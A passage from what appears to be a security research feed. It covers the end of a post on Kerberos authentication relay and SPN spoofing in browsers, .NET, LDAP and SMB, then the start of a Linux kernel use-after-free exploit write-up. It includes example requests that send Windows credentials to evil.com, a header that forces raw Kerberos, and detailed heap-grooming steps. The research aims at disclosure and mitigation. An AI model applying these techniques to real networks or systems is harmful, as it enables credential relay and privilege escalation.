In general DNS spoofing is limited by requiring the source IP address, transaction ID and the UDP source port to match before the DNS client will accept the response packet. The source IP address should be spoofable on a local network and the client's IP address can be known ahead of time through an initial HTTP connection, so the only problems are the transaction ID and port.

As most clients have a relatively long timeout of 3-5 seconds, that might be enough time to try the majority of the combinations for the ID and port. Of course there isn't really a penalty for trying multiple times. If this attack was practical then you could do the attack on a local network even if local DNS resolution was disabled and enable the attack for libraries which only do a single lookup such as WinINET and WinHTTP. The response could have a long TTL, so that when the access is successful it doesn't need to be repeated for every request.

I couldn't get Chromium to downgrade Negotiate to Kerberos only so Integrity will be enabled. Also since Delegation is not enabled by default, an administrator needs to configure an allow list GPO to specify what targets are allowed to receive delegated credentials.

A bonus quirk for Chromium: It seems to be the only browser which still supports URL based user credentials. If you pass user credentials in the request and get the server to return a request for Negotiate authentication then it'll authenticate automatically regardless of the zone of the site. You can also pass credentials using XMLHttpRequest::open.

While not very practical, this can be used to test a user's password from an arbitrary host. If the username/password is correct and the SPN is spoofed then Chromium will send a validated Kerberos AP_REQ, otherwise either NTLM or no authentication will be sent.

NTLM can be always generated as it doesn't require any proof the password is valid, whereas Kerberos requires the password to be correct to allow the authentication to succeed. You need to specify the domain name when authenticating so you use a URL of the form http://DOMAIN%5CUSER:[email protected]

One other quirk of this is you can specify a fully qualified domain name (FQDN) and user name and the Windows Kerberos implementation will try and authenticate using that server based on the DNS SRV records. For example http://EVIL.COM%5CUSER:[email protected] will try to authenticate to the Kerberos service specified through the _kerberos._tcp.evil.com SRV record. This trick works even on non-domain joined systems to generate Kerberos authentication, however it's not clear if this trick has any practical use.

It's worth noting that I did discuss the implications of the Chromium HTTP vector with team members internally and the general conclusion that this behavior is by design as it's trying to copy the behavior expected of existing user agents such as IE. Therefore there was no expectation it would be fixed.

Firefox 91

As with Chromium, Firefox is open source so we can find the implementation. Unlike the other HTTP implementations researched up to this point, Firefox doesn't perform Windows authentication by default. An administrator needs to configure either a list of hosts that are allowed to automatically authenticate, or the network.negotiate-auth.allow-non-fqdn setting can be enabled to authenticate to non-dotted host names.

If authentication is enabled it works with both local DNS resolving and public DNS as it does a second DNS lookup when constructing the SPN for Negotiate in nsAuthSSPI::MakeSN. Unlike Chromium there doesn't seem to be a setting to disable this behavior.

Once again I couldn't get Firefox to use raw Kerberos, so Integrity is enabled. Also Delegation is not enabled unless an administrator configures the network.negotiate-auth.delegation-uris setting.

.NET Framework 4.8

The .NET Framework 4.8 officially has two HTTP libraries, the original System.Net.HttpWebRequest and derived APIs and the newer System.Net.Http.HttpClient API. However in the .NET framework the newer API uses the older one under the hood, so we'll only consider the older of the two.

Windows authentication is only generated automatically if the UseDefaultCredentials property is set to true on the HttpWebRequest object as shown below (technically this sets the CredentialCache.DefaultCredentials object, but it's easier to use the boolean property). Once the default credentials are set the client will automatically authenticate using Windows authentication to any host, it doesn't seem to care if that host is in the Intranet zone.

var request = WebRequest.CreateHttp("http://www.evil.com");

request.UseDefaultCredentials = true;

var response = (HttpWebResponse)request.GetResponse();

The SPN is generated in the System.Net.AuthenticationState.GetComputeSpn function which we can find in the .NET reference source. The SPN is built from the canonical name returned by the initial DNS lookup, which means it supports the local but not public DNS resolution. If you follow the code it does support doing a second DNS lookup if the host is undotted, however this is only if the client code sets an explicit Host header as far as I can tell. Note that the code here is slightly different in .NET 2.0 which might support looking up the canonical name as long as the host name is undotted, but I've not verified that.

The .NET Framework supports specifying Kerberos directly as the authentication type in the WWW-Authentication header. As the client code doesn't explicitly request integrity, this allows the Kerberos AP_REQ to not have Integrity enabled.

The code also supports the WWW-Authentication header having an initial token, so even if Kerberos wasn't directly supported, you could use Negotiate and specify the stub token I described at the start to force Kerberos authentication. For example returning the following header with the initial 401 status response will force Kerberos through auto-detection:

WWW-Authenticate: Negotiate AAFA

Finally, the authentication code always enables delegation regardless of the target host.

.NET 5.0

The .NET 5.0 runtime has deprecated the HttpWebRequest API in favor of the HttpClient API. It uses a new backend class called the SocketsHttpHandler. As it's all open source we can find the implementation, specifically the AuthenticationHelper class which is a complete rewrite from the .NET Framework version.

To automatically authenticate, the client code must either use the HttpClientHandler class and set the UseDefaultCredentials property as shown below. Or if using SocketsHttpHandler, set the Credentials property to the default credentials. This handler must then be specified when creating the HttpClient object.

var handler = new HttpClientHandler();

handler.UseDefaultCredentials = true;

var client = new HttpClient(handler);

await client.GetStringAsync("http://www.evil.com");

Unless the client specified an explicit Host header in the request the authentication will do a DNS lookup for the canonical name. This is separate from the DNS lookup for the HTTP connection so it supports both local and public DNS attacks.

While the implementation doesn't support Kerberos directly like the .NET Framework, it does support passing an initial token so it's still possible to force raw Kerberos which will disable the Integrity requirement.

.NET 6.0

The .NET 6.0 runtime is basically the same as .NET 5.0, except that Integrity is specified explicitly when creating the client authentication context. This means that rolling back to Kerberos no longer has any advantage. This change seems to be down to a broken implementation of NTLM on macOS and not as some anti-NTLM relay measure.

HTTP Overview

The following table summarizes the results of the HTTP protocol research:

  • The LLMNR column indicates it's possible to influence the SPN using a local DNS resolver attack
  • DNS CNAME indicates a public DNS resolving attack
  • Delegation indicates the HTTP user agent enables Kerberos delegation
  • Integrity indicates that integrity protection is requested which reduces the usefulness of the relayed authentication if the target server automatically detects the setting.

User Agent





Internet Explorer 11 (WinINET)










Chromium (M93)





Firefox 91





.NET Framework 4.8





.NET 5.0





.NET 6.0





† Chromium and Firefox can enable delegation only on a per-site basis through a GPO.

‡ .NET Framework supports DNS resolving in special circumstances for non-dotted hostnames.

By far the most permissive client is .NET 5.0. It supports authenticating to any host as long as it has been configured to authenticate automatically. It also supports arbitrary SPN spoofing from a public DNS name as well as disabling integrity through Kerberos fallback. However, as .NET 5.0 is designed to be something usable cross platform, it's possible that few libraries written with it in mind will ever enable automatic authentication.


Windows has a built-in general purpose LDAP library in wldap32.dll. This is used by the majority of OS components when accessing Active Directory and is also used by the .NET LdapConnection class. There doesn't seem to be a way of specifying the SPN manually for the LDAP connection using the API. Instead it's built manually based on the canonical name based on the DNS lookup. Therefore it's exploitable in a similar manner to WinINET via local DNS resolution.

The name of the LDAP server can also be found by querying for a SRV record for the hostname. This is used to support accessing the LDAP server from the top-level Windows domain name. This will usually return an address record alongside, all this does is change the server resolution process which doesn't seem to give any advantages to exploitation.

Whether the LDAP client enables integrity checking is based on the value of the LDAP_OPT_SIGN flag. As the connection only supports Negotiate authentication the client passes the ISC_REQ_NO_INTEGRITY flag if signing is disabled so that the server won't accidentally auto-detect the signing capability enabled for the Negotiate MIC and accidentally enable signing protection.

As part of recent changes to LDAP signing the client is forced to enable Integrity by the LdapClientIntegrity policy. This means that regardless of whether the LDAP server needs integrity protection it'll be enabled on the client which in turn will automatically enable it on the server. Changing the value of LDAP_OPT_SIGN in the client has no effect once this policy is enabled.


SMB is one of the most commonly exploited protocols for NTLM relay, as it's easy to convert access to a file into authentication. It would be convenient if it was also exploitable for Kerberos relay. While SMBv1 is deprecated and not even installed on newer installs of Windows, it's still worth looking at the implementation of v1 and v2 to determine if either are exploitable.

The client implementations of SMB 1 and 2 are in mrxsmb10.sys and mrxsmb20.sys respectively with some common code in mrxsmb.sys. Both protocols support specifying a name for the SPN which is related to DFS. The SPN name needs to be specified through the GUID_ECP_DOMAIN_SERVICE_NAME_CONTEXT ECP and is only enabled if the NETWORK_OPEN_ECP_OUT_FLAG_RET_MUTUAL_AUTH flag in the GUID_ECP_NETWORK_OPEN_CONTEXT ECP (set by MUP) is specified. This is related to UNC hardening which was added to protect things like group policies.

It's easy enough to trigger the conditions to set the NETWORK_OPEN_ECP_OUT_FLAG_RET_MUTUAL_AUTH flag. The default UNC hardening rules always add SYSVOL and NETLOGON UNC paths with a wildcard hostname. Therefore a request to \\evil.com\SYSVOL will cause the flag to be set and the SPN potentially overridable. The server should be a DFS server for this to work, however even with the flag set I've not found a way of setting an arbitrary SPN value remotely.

Even if you could spoof the SPN, the SMB clients always enable Integrity protection. Like LDAP, SMB will enable signing and encryption opportunistically if available from the client, unless UNC hardening measures are in place.

Marshaled Target Information SPN

While investigating the SMB implementation I noticed something interesting. The SMB clients use the function SecMakeSPNEx2 to build the SPN value from the service class and name. You might assume this would just return the SPN as-is, however that's not the case. Instead for the hostname of fileserver with the service class cifs you get back an SPN which looks like the following:


Looking at the implementation of SecMakeSPNEx2 it makes a call to the API function CredMarshalTargetInfo. This API takes a list of target information in a CREDENTIAL_TARGET_INFORMATION structure and marshals it using a base64 string encoding. This marshaled string is then appended to the end of the real SPN.

The code is therefore just appending some additional target information to the end of the SPN, presumably so it's easier to pass around. My initial assumption would be this information is stripped off before passing to the SSPI APIs by the SMB client. However, passing this SPN value to InitializeSecurityContext as the target name succeeds and gets a Kerberos service ticket for cifs/fileserver. How does that work?

Inside the function SspiExProcessSecurityContext in lsasrv.dll, which is the main entrypoint of InitializeSecurityContext, there's a call to the CredUnmarshalTargetInfo API, which parses the marshaled target information. However SspiExProcessSecurityContext doesn't care about the unmarshalled results, instead it just gets the length of the marshaled data and removes that from the end of the target SPN string. Therefore before the Kerberos package gets the target name it has already been restored to the original SPN.

The encoded SPN shown earlier, minus the service class, is a valid DNS component name and therefore could be used as the hostname in a public or local DNS resolution request. This is interesting as this potentially gives a way of spoofing a hostname which is distinct from the real target service, but when processed by the SSPI API requests the spoofed service ticket. As in if you use the string fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA as the DNS name, and if the client appends a service class to the name and passes it to SSPI it will get a service ticket for fileserver, however the DNS resolving can trivially return an unrelated IP address.

There are some big limitations to abusing this behavior. The marshaled target information must be valid, the last 6 characters is an encoded length of the entire marshaled buffer and the buffer is prefixed with a 28 byte header with a magic value of 0x91856535 in the first 4 bytes. If this length is invalid (e.g. larger than the buffer or not a multiple of 2) or the magic isn't present then the CredUnmarshalTargetInfo call fails and SspiExProcessSecurityContext leaves the SPN as is which will subsequently fail to query a Kerberos ticket for the SPN.

The easiest way that the name could be invalid is by it being converted to lowercase. DNS is case insensitive, however generally the servers are case preserving. Therefore you could lookup the case sensitive name and the DNS server would return that unmodified. However the HTTP clients tested all seem to lowercase the hostname before use, therefore by the time it's used to build an SPN it's now a different string. When unmarshalling 'a' and 'A' represent different binary values and so parsing of the marshaled information will fail.

Another issue is that the size limit of a single name in DNS is 63 characters. The minimum valid marshaled buffer is 44 characters long leaving only 19 characters for the SPN part. This is at least larger than the minimum NetBIOS name limit of 15 characters so as long as there's an SPN for that shorter name registered it should be sufficient. However if there's no short SPN name registered then it's going to be more difficult to exploit.

In theory you could specify the SPN using its FQDN. However it's hard to construct such a name. The length value must be at the end of the string and needs to be a valid marshaled value so you can't have any dots within its 6 characters. It's possible to have a TLD which is 6 characters or longer and as the embedded marshaled values are not escaped this can be used to construct a valid FQDN which would then resolve to another SPN target. For example:


is a valid DNS name which would resolve to an SPN for fileserver. Except that oBAAAA is not a valid public TLD. Pulling the list of valid TLDs from ICANN's website and converting all values which are 6 characters or longer into the expected length value, the smallest length which is a multiple of 2 is from WEBCAM which results in a DNS name at least 264331 characters long, which is somewhat above the 255 character limit usually considered valid for a FQDN in DNS.

Therefore this would still be limited to more local attacks and only for limited sets of protocols. For example an authenticated user could register a DNS entry for the local domain using this value and trick an RPC client to connect to it using its undotted hostname. As long as the client doesn't modify the name other than putting the service class on it (or it gets automatically generated by the RPC runtime) then this spoofs the SPN for the request.

Microsoft's Response to the Research

I didn't initially start looking at Kerberos authentication relay, as mentioned I found it inadvertently when looking at IPsec and AuthIP which I subsequently reported to Microsoft. After doing more research into other network protocols I decided to use the AuthIP issue as a bellwether on Microsoft's views on whether relaying Kerberos authentication and spoofing SPNs would cross a security boundary.

As I mentioned earlier the AuthIP issue was classed as "vNext", which denotes it might be fixed in a future version of Windows, but not as a security update for any currently shipping version of Windows. This was because Microsoft determined it to be a Moderate severity issue (see this for the explanation of the severities). Only Important or above will be serviced.

It seems that the general rule is that any network protocol where the SPN can be spoofed to generate Kerberos authentication which can be relayed, is not sufficient to meet the severity level for a fix. However, any network facing service which can be used to induce authentication where the attacker does not have existing network authentication credentials is considered an Important severity spoofing issue and will be fixed. This is why PetitPotam was fixed as CVE-2021-36942, as it could be exploited from an unauthenticated user.

As my research focused entirely on the network protocols themselves and not the ways of inducing authentication, they will all be covered under the same Moderate severity. This means that if they were to be fixed at all, it'd be in unspecified future versions of Windows.

Available Mitigations

How can you defend yourself against authentication relay attacks presented in this blog post? While I think I've made the case that it's possible to relay Kerberos authentication, it's somewhat more limited in scope than NTLM relay. This means that disabling NTLM is still an invaluable option for mitigating authentication relay issues on a Windows enterprise network.

Also, except for disabling NTLM, all the mitigations for NTLM relay apply to Kerberos relay. Requiring signing or sealing on the protocol if possible is sufficient to prevent the majority of attack vectors, especially on important network services such as LDAP.

For TLS encapsulated protocols, channel binding prevents the authentication being relayed as I didn't find any way of spoofing the TLS certificate at the same time. If the network service supports EPA, such as HTTPS or LDAPS it should be enabled. Even if the protocol doesn't support EPA, enabling TLS protection if possible is still valuable. This not only provides more robust server authentication, which Kerberos mutual authentication doesn't really provide, it'll also hide Kerberos authentication tokens from sniffing or MitM attacks.

Some libraries, such as WinHTTP and .NET set the undocumented ISC_REQ_UNVERIFIED_TARGET_NAME request attribute when calling InitializeSecurityContext in certain circumstances. This affects the behavior of the server when querying for the SPN used during authentication. Some servers such as SMB and IIS with EPA can be configured to validate the SPN. If this request attribute flag is set then while the authentication will succeed when the server goes to check the SPN, it gets an empty string which will not match the server's expectations. If you're a developer you should use this flag if the SPN has been provided from an untrustworthy source, although this will only be beneficial if the server is checking the received SPN.

A common thread through the research is abusing local DNS resolution to spoof the SPN. Disabling LLMNR and MDNS should always be best practice, and this just highlights the dangers of leaving them enabled. While it might be possible to perform the same attacks through DNS spoofing attacks, these are likely to be much less reliable than local DNS spoofing attacks.

If Windows authentication isn't needed from a network client, it'd be wise to disable it if supported. For example, some HTTP user agents support disabling automatic Windows authentication entirely, while others such as Firefox don't enable it by default. Chromium also supports disabling the DNS lookup process for generating the SPN through group policy.

Finally, blocking untrusted devices on the network such as through 802.1X or requiring authenticated IPsec/IKEv2 for all network communications to high value services would go some way to limiting the impact of all authentication relay attacks. Although of course, an attacker could still compromise a trusted host and use that to mount the attack.


I hope that this blog post has demonstrated that Kerberos relay attacks are feasible and just disabling NTLM is not a sufficient mitigation strategy in an enterprise environment. While DNS is a common thread and is the root cause of the majority of these protocol issues, it's still possible to spoof SPNs using other protocols such as AuthIP and MSRPC without needing to play DNS tricks.

While I wrote my own tooling to perform the LLMNR attack there are various public tools which can mount an LLMNR and MDNS spoofing attack such as the venerable Python Responder. It shouldn't be hard to modify one of the tools to verify my findings.

I've also not investigated every possible network protocol which might perform Kerberos authentication. I've also not looked at non-Windows systems which might support Kerberos such as Linux and macOS. It's possible that in more heterogeneous networks the impact might be more pronounced as some of the security changes in Microsoft's Kerberos implementation might not be present.

If you're doing your own research into this area, you should look at how the SPN is specified by the protocol, but also how the implementation builds it. For example the HTTP Negotiate RFC states how to build the SPN for Kerberos, but then each implementation does it slightly differently and not to the RFC specification.

You should be especially wary of any protocol where an untrusted server can specify an arbitrary SPN. This is the case in AuthIP, MSRPC and DCOM. It's almost certain that when these protocols were originally designed many years ago, that no thought was given to the possible abuse of this design for relaying the Kerberos network authentication.

How a simple Linux kernel memory corruption bug can lead to complete system compromise

19 October 2021 at 16:08
By: Ryan

An analysis of current and potential kernel security mitigations

Posted by Jann Horn, Project Zero


This blog post describes a straightforward Linux kernel locking bug and how I exploited it against Debian Buster's 4.19.0-13-amd64 kernel. Based on that, it explores options for security mitigations that could prevent or hinder exploitation of issues similar to this one.

I hope that stepping through such an exploit and sharing this compiled knowledge with the wider security community can help with reasoning about the relative utility of various mitigation approaches.

A lot of the individual exploitation techniques and mitigation options that I am describing here aren't novel. However, I believe that there is value in writing them up together to show how various mitigations interact with a fairly normal use-after-free exploit.

Our bugtracker entry for this bug, along with the proof of concept, is at https://bugs.chromium.org/p/project-zero/issues/detail?id=2125.

Code snippets in this blog post that are relevant to the exploit are taken from the upstream 4.19.160 release, since that is what the targeted Debian kernel is based on; some other code snippets are from mainline Linux.

(In case you're wondering why the bug and the targeted Debian kernel are from end of last year: I already wrote most of this blogpost around April, but only recently finished it)

I would like to thank Ryan Hileman for a discussion we had a while back about how static analysis might fit into static prevention of security bugs (but note that Ryan hasn't reviewed this post and doesn't necessarily agree with any of my opinions). I also want to thank Kees Cook for providing feedback on an earlier version of this post (again, without implying that he necessarily agrees with everything), and my Project Zero colleagues for reviewing this post and frequent discussions about exploit mitigations.

Background for the bug

On Linux, terminal devices (such as a serial console or a virtual console) are represented by a struct tty_struct. Among other things, this structure contains fields used for the job control features of terminals, which are usually modified using a set of ioctls:

struct tty_struct {
spinlock_t ctrl_lock;
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
struct tty_struct *link;

The pgrp field points to the foreground process group of the terminal (normally modified from userspace via the TIOCSPGRP ioctl); the session field points to the session associated with the terminal. Both of these fields do not point directly to a process/task, but rather to a struct pid. struct pid ties a specific incarnation of a numeric ID to a set of processes that use that ID as their PID (also known in userspace as TID), TGID (also known in userspace as PID), PGID, or SID. You can kind of think of it as a weak reference to a process, although that's not entirely accurate. (There's some extra nuance around struct pid when execve() is called by a non-leader thread, but that's irrelevant here.)

All processes that are running inside a terminal and are subject to its job control refer to that terminal as their "controlling terminal" (stored in ->signal->tty of the process).

A special type of terminal device are pseudoterminals, which are used when you, for example, open a terminal application in a graphical environment or connect to a remote machine via SSH. While other terminal devices are connected to some sort of hardware, both ends of a pseudoterminal are controlled by userspace, and pseudoterminals can be freely created by (unprivileged) userspace. Every time /dev/ptmx (short for "pseudoterminal multiplexor") is opened, the resulting file descriptor represents the device side (referred to in documentation and kernel sources as "the pseudoterminal master") of a new pseudoterminal . You can read from it to get the data that should be printed on the emulated screen, and write to it to emulate keyboard inputs. The corresponding terminal device (to which you'd usually connect a shell) is automatically created by the kernel under /dev/pts/<number>.

One thing that makes pseudoterminals particularly strange is that both ends of the pseudoterminal have their own struct tty_struct, which point to each other using the link member, even though the device side of the pseudoterminal does not have terminal features like job control - so many of its members are unused.

Many of the ioctls for terminal management can be used on both ends of the pseudoterminal; but no matter on which end you call them, they affect the same state, sometimes with minor differences in behavior. For example, in the ioctl handler for TIOCGPGRP:

* tiocgpgrp - get process group
* @tty: tty passed by user
* @real_tty: tty side of the tty passed by the user if a pty else the tty
* @p: returned pid
* Obtain the process group of the tty. If there is no process group
* return an error.
* Locking: none. Reference to current->signal->tty is safe.
static int tiocgpgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)
struct pid *pid;
int ret;
* (tty == real_tty) is a cheap way of
* testing if the tty is NOT a master pty.
if (tty == real_tty && current->signal->tty != real_tty)
return -ENOTTY;
pid = tty_get_pgrp(real_tty);
ret = put_user(pid_vnr(pid), p);
return ret;

As documented in the comment above, these handlers receive a pointer real_tty that points to the normal terminal device; an additional pointer tty is passed in that can be used to figure out on which end of the terminal the ioctl was originally called. As this example illustrates, the tty pointer is normally only used for things like pointer comparisons. In this case, it is used to prevent TIOCGPGRP from working when called on the terminal side by a process which does not have this terminal as its controlling terminal.

Note: If you want to know more about how terminals and job control are intended to work, the book "The Linux Programming Interface" provides a nice introduction to how these older parts of the userspace API are supposed to work. It doesn't describe any of the kernel internals though, since it's written as a reference for userspace programming. And it's from 2010, so it doesn't have anything in it about new APIs that have showed up over the last decade.

The bug

The bug was in the ioctl handler tiocspgrp:

* tiocspgrp - attempt to set process group
* @tty: tty passed by user
* @real_tty: tty side device matching tty passed by user
* @p: pid pointer
* Set the process group of the tty to the session passed. Only
* permitted where the tty session is our session.
* Locking: RCU, ctrl lock
static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)
struct pid *pgrp;
pid_t pgrp_nr;
if (get_user(pgrp_nr, p))
return -EFAULT;
pgrp = find_vpid(pgrp_nr);
real_tty->pgrp = get_pid(pgrp);

The pgrp member of the terminal side (real_tty) is being modified, and the reference counts of the old and new process group are adjusted accordingly using put_pid and get_pid; but the lock is taken on tty, which can be either end of the pseudoterminal pair, depending on which file descriptor we pass to ioctl(). So by simultaneously calling the TIOCSPGRP ioctl on both sides of the pseudoterminal, we can cause data races between concurrent accesses to the pgrp member. This can cause reference counts to become skewed through the following races:

  ioctl(fd1, TIOCSPGRP, pid_A)        ioctl(fd2, TIOCSPGRP, pid_B)
spin_lock_irq(...) spin_lock_irq(...)
real_tty->pgrp = get_pid(A)
real_tty->pgrp = get_pid(B)
spin_unlock_irq(...) spin_unlock_irq(...)
  ioctl(fd1, TIOCSPGRP, pid_A)        ioctl(fd2, TIOCSPGRP, pid_B)
spin_lock_irq(...) spin_lock_irq(...)
real_tty->pgrp = get_pid(B)
real_tty->pgrp = get_pid(A)
spin_unlock_irq(...) spin_unlock_irq(...)

In both cases, the refcount of the old struct pid is decremented by 1 too much, and either A's or B's is incremented by 1 too much.

Once you understand the issue, the fix seems relatively obvious:

    if (session_of_pgrp(pgrp) != task_session(current))
goto out_unlock;
retval = 0;
- spin_lock_irq(&tty->ctrl_lock);
+ spin_lock_irq(&real_tty->ctrl_lock);
real_tty->pgrp = get_pid(pgrp);
- spin_unlock_irq(&tty->ctrl_lock);
+ spin_unlock_irq(&real_tty->ctrl_lock);
return retval;

Attack stages

In this section, I will first walk through how my exploit works; afterwards I will discuss different defensive techniques that target these attack stages.

Attack stage: Freeing the object with multiple dangling references

This bug allows us to probabilistically skew the refcount of a struct pid down, depending on which way the race happens: We can run colliding TIOCSPGRP calls from two threads repeatedly, and from time to time that will mess up the refcount. But we don't immediately know how many times the refcount skew has actually happened.

What we'd really want as an attacker is a way to skew the refcount deterministically. We'll have to somehow compensate for our lack of information about whether the refcount was skewed successfully. We could try to somehow make the race deterministic (seems difficult), or after each attempt to skew the refcount assume that the race worked and run the rest of the exploit (since if we didn't skew the refcount, the initial memory corruption is gone, and nothing bad will happen), or we can attempt to find an information leak that lets us figure out the state of the reference count.

On typical desktop/server distributions, the following approach works (unreliably, depending on RAM size) for setting up a freed struct pid with multiple dangling references:

  1. Allocate a new struct pid (by creating a new task).
  2. Create a large number of references to it (by sending messages with SCM_CREDENTIALS to unix domain sockets, and leaving those messages queued up).
  3. Repeatedly trigger the TIOCSPGRP race to skew the reference count downwards, with the number of attempts chosen such that we expect that the resulting refcount skew is bigger than the number of references we need for the rest of our attack, but smaller than the number of extra references we created.
  4. Let the task owning the pid exit and die, and wait for RCU (read-copy-update, a mechanism that involves delaying the freeing of some objects) to settle such that the task's reference to the pid is gone. (Waiting for an RCU grace period from userspace is not a primitive that is intentionally exposed through the UAPI, but there are various ways userspace can do it - e.g. by testing when a released BPF program's memory is subtracted from memory accounting, or by abusing the membarrier(MEMBARRIER_CMD_GLOBAL, ...) syscall after the kernel version where RCU flavors were unified.)
  5. Create a new thread, and let that thread attempt to drop all the references we created.

Because the refcount is smaller at the start of step 5 than the number of references we are about to drop, the pid will be freed at some point during step 5; the next attempt to drop a reference will cause a use-after-free:

struct upid {
int nr;
struct pid_namespace *ns;

struct pid
atomic_t count;
unsigned int level;
/* lists of tasks that use this pid */
struct hlist_head tasks[PIDTYPE_MAX];
struct rcu_head rcu;
struct upid numbers[1];
void put_pid(struct pid *pid)
struct pid_namespace *ns;

if (!pid)

ns = pid->numbers[pid->level].ns;
if ((atomic_read(&pid->count) == 1) ||
atomic_dec_and_test(&pid->count)) {
kmem_cache_free(ns->pid_cachep, pid);

When the object is freed, the SLUB allocator normally replaces the first 8 bytes (sidenote: a different position is chosen starting in 5.7, see Kees' blog) of the freed object with an XOR-obfuscated freelist pointer; therefore, the count and level fields are now effectively random garbage. This means that the load from pid->numbers[pid->level] will now be at some random offset from the pid, in the range from zero to 64 GiB. As long as the machine doesn't have tons of RAM, this will likely cause a kernel segmentation fault. (Yes, I know, that's an absolutely gross and unreliable way to exploit this. It mostly works though, and I only noticed this issue when I already had the whole thing written, so I didn't really want to go back and change it... plus, did I mention that it mostly works?)

Linux in its default configuration, and the configuration shipped by most general-purpose distributions, attempts to fix up unexpected kernel page faults and other types of "oopses" by killing only the crashing thread. Therefore, this kernel page fault is actually useful for us as a signal: Once the thread has died, we know that the object has been freed, and can continue with the rest of the exploit.

If this code looked a bit differently and we were actually reaching a double-free, the SLUB allocator would also detect that and trigger a kernel oops (see set_freepointer() for the CONFIG_SLAB_FREELIST_HARDENED case).

Discarded attack idea: Directly exploiting the UAF at the SLUB level

On the Debian kernel I was looking at, a struct pid in the initial namespace is allocated from the same kmem_cache as struct seq_file and struct epitem - these three slabs have been merged into one by find_mergeable() to reduce memory fragmentation, since their object sizes, alignment requirements, and flags match:

[email protected]:/sys/kernel/slab# ls -l pid
lrwxrwxrwx 1 root root 0 Feb 6 00:09 pid -> :A-0000128
[email protected]:/sys/kernel/slab# ls -l | grep :A-0000128
drwxr-xr-x 2 root root 0 Feb 6 00:09 :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 eventpoll_epi -> :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 pid -> :A-0000128
lrwxrwxrwx 1 root root 0 Feb 6 00:09 seq_file -> :A-0000128
[email protected]:/sys/kernel/slab#

A straightforward way to exploit a dangling reference to a SLUB object is to reallocate the object through the same kmem_cache it came from, without ever letting the page reach the page allocator. To figure out whether it's easy to exploit this bug this way, I made a table listing which fields appear at each offset in these three data structures (using pahole -E --hex -C <typename> <path to vmlinux debug info>):

offset pid eventpoll_epi / epitem (RCU-freed) seq_file
0x00 count.counter (4) (CONTROL) rbn.__rb_parent_color (8) (TARGET?) buf (8) (TARGET?)
0x04 level (4)
0x08 tasks[PIDTYPE_PID] (8) rbn.rb_right (8) / rcu.func (8) size (8)
0x10 tasks[PIDTYPE_TGID] (8) rbn.rb_left (8) from (8)
0x18 tasks[PIDTYPE_PGID] (8) rdllink.next (8) count (8)
0x20 tasks[PIDTYPE_SID] (8) rdllink.prev (8) pad_until (8)
0x28 rcu.next (8) next (8) index (8)
0x30 rcu.func (8) ffd.file (8) read_pos (8)
0x38 numbers[0].nr (4) ffd.fd (4) version (8)
0x3c [hole] (4) nwait (4)
0x40 numbers[0].ns (8) pwqlist.next (8) lock (0x20): counter (8)
0x48 --- pwqlist.prev (8)
0x50 --- ep (8)
0x58 --- fllink.next (8)
0x60 --- fllink.prev (8) op (8)
0x68 --- ws (8) poll_event (4)
0x6c --- [hole] (4)
0x70 --- event.events (4) file (8)
0x74 --- event.data (8) (CONTROL)
0x78 --- private (8) (TARGET?)
0x7c --- ---
0x80 --- --- ---

In this case, reallocating the object as one of those three types didn't seem to me like a nice way forward (although it should be possible to exploit this somehow with some effort, e.g. by using count.counter to corrupt the buf field of seq_file). Also, some systems might be using the slab_nomerge kernel command line flag, which disables this merging behavior.

Another approach that I didn't look into here would have been to try to corrupt the obfuscated SLUB freelist pointer (obfuscation is implemented in freelist_ptr()); but since that stores the pointer in big-endian, count.counter would only effectively let us corrupt the more significant half of the pointer, which would probably be a pain to exploit.

Attack stage: Freeing the object's page to the page allocator

This section will refer to some internals of the SLUB allocator; if you aren't familiar with those, you may want to at least look at slides 2-4 and 13-14 of Christoph Lameter's slab allocator overview talk from 2014. (Note that that talk covers three different allocators; the SLUB allocator is what most systems use nowadays.)

The alternative to exploiting the UAF at the SLUB allocator level is to flush the page out to the page allocator (also called the buddy allocator), which is the last level of dynamic memory allocation on Linux (once the system is far enough into the boot process that the memblock allocator is no longer used). From there, the page can theoretically end up in pretty much any context. We can flush the page out to the page allocator with the following steps:

  1. Instruct the kernel to pin our task to a single CPU. Both SLUB and the page allocator use per-cpu structures; so if the kernel migrates us to a different CPU in the middle, we would fail.
  2. Before allocating the victim struct pid whose refcount will be corrupted, allocate a large number of objects to drain partially-free slab pages of all their unallocated objects. If the victim object (which will be allocated in step 5 below) landed in a page that is already partially used at this point, we wouldn't be able to free that page.
  3. Allocate around objs_per_slab * (1+cpu_partial) objects - in other words, a set of objects that completely fill at least cpu_partial pages, where cpu_partial is the maximum length of the "percpu partial list". Those newly allocated pages that are completely filled with objects are not referenced by SLUB's freelists at this point because SLUB only tracks pages with free objects on its freelists.
  4. Fill objs_per_slab-1 more objects, such that at the end of this step, the "CPU slab" (the page from which allocations will be served first) will not contain anything other than free space and fresh allocations (created in this step).
  5. Allocate the victim object (a struct pid). The victim page (the page from which the victim object came) will usually be the CPU slab from step 4, but if step 4 completely filled the CPU slab, the victim page might also be a new, freshly allocated CPU slab.
  6. Trigger the bug on the victim object to create an uncounted reference, and free the object.
  7. Allocate objs_per_slab+1 more objects. After this, the victim page will be completely filled with allocations from steps 4 and 7, and it won't be the CPU slab anymore (because the last allocation can not have fit into the victim page).
  8. Free all allocations from steps 4 and 7. This causes the victim page to become empty, but does not free the page; the victim page is placed on the percpu partial list once a single object from that page has been freed, and then stays on that list.
  9. Free one object per page from the allocations from step 3. This adds all these pages to the percpu partial list until it reaches the limit cpu_partial, at which point it will be flushed: Pages containing some in-use objects are placed on SLUB's per-NUMA-node partial list, and pages that are completely empty are freed back to the page allocator. (We don't free all allocations from step 3 because we only want the victim page to be freed to the page allocator.) Note that this step requires that every objs_per_slab-th object the allocator gave us in step 3 is on a different page.

When the page is given to the page allocator, we benefit from the page being order-0 (4 KiB, native page size): For order-0 pages, the page allocator has special freelists, one per CPU+zone+migratetype combination. Pages on these freelists are not normally accessed from other CPUs, and they don't immediately get combined with adjacent free pages to form higher-order free pages.

At this point we are able to perform use-after-free accesses to some offset inside the free victim page, using codepaths that interpret part of the victim page as a struct pid. Note that at this point, we still don't know exactly at which offset inside the victim page the victim object is located.

Attack stage: Reallocating the victim page as a pagetable

